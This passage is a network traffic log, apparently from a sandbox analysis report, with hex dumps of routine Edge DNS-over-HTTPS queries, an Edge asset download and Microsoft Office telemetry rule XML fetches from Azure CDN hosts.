2024-10-29 01:46:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-29 01:46:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-29 01:46:34 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 29 Oct 2024 01:46:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8d9f7e1d1c8f46d7-DFW alt-svc: h3=":443"; ma=86400
2024-10-29 01:46:34 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 88 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomr^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49826	162.159.61.3	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-29 01:46:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-29 01:46:34 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 29 Oct 2024 01:46:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8d9f7e1d28636bea-DFW alt-svc: h3=":443"; ma=86400
2024-10-29 01:46:34 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 22 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom"q^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49829	172.64.41.3	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-29 01:46:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-29 01:46:34 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 29 Oct 2024 01:46:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8d9f7e1d4c5c8784-DFW alt-svc: h3=":443"; ma=86400
2024-10-29 01:46:34 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 a5 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49828	13.107.246.45	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:34 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:34 UTC	576	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:34 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 24 Oct 2024 19:29:56 GMT ETag: 0x8DCF4623DD70062 x-ms-request-id: 1fa8ccbb-501e-0019-2a90-28446f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T014634Z-16849878b78p8hrf1se7fucxk800000006qg00000000f2mu Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:34 UTC	15808	IN	Data Raw: 1f 8b 08 08 34 a0 1a 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: 4gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-10-29 01:46:34 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-10-29 01:46:34 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-10-29 01:46:35 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-10-29 01:46:35 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:35 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:35 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014635Z-16849878b782d4lwcu6h6gmxnw00000005mg00000000384x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:35 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:35 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014635Z-16849878b786fl7gm2qg4r5y70000000063000000000fesf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:35 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014635Z-16849878b7867ttgfbpnfxt44s00000005qg00000000eed3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:35 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014635Z-16849878b786jv8w2kpaf5zkqs00000004qg00000000eu7h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:35 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014635Z-16849878b785jrf8dn0d2rczaw000000071g00000000913y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49852	23.192.223.230	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
